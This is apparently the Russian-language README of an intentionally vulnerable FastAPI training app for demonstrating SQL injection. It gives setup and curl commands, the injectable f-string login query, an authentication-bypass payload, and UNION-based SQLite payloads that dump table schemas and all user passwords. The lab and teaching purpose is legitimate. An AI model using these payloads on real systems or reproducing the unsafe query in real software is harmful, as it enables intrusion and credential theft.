Kulesh_Web_app - Уязвимое веб-приложение
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
Функциональность приложения
- ✅ Регистрация пользователей
- ✅ Авторизация пользователей
- ✅ Cookie-аутентификация
- ✅ Страница приветствия для авторизованных пользователей
- ✅ Docker-контейнеризация
Сборка и запуск
Сборка Docker-образа
docker build -t kulesh_web-app:v0.0.1a .
Запуск приложения
docker compose up
Приложение будет доступно по адресу: http://localhost:8000
Работа с CURL
Регистрация пользователя Administrator
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
Регистрация пользователя Kulesh_AS
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
Авторизация через CURL
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
Доступ к защищенной странице
curl -b cookies.txt http://localhost:8000/welcome
ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
SQL-инъекция через форму авторизации
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
Базовый обход аутентификации
Payload для поля login:
' OR 1=1--
Поле password: (любое значение)
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
Извлечение информации о базе данных
1. Получение списка подключенных файлов БД:
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
2. Получение списка пользовательских таблиц:
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
3. Получение схем всех таблиц:
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
4. Извлечение всех пользователей и паролей:
' UNION SELECT id, login, password FROM users --
5. Получение данных конкретного пользователя Administrator:
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
Пошаговая эксплуатация
-
Откройте форму входа: http://localhost:8000/login
-
Введите базовый payload для обхода аутентификации:
- Login:
' OR 1=1-- - Password:
test
- Login:
-
Для извлечения данных используйте UNION-based инъекцию:
- Login:
' UNION SELECT id, login, password FROM users -- - Password:
test
- Login:
-
В ответе на странице приветствия вы увидите данные всех пользователей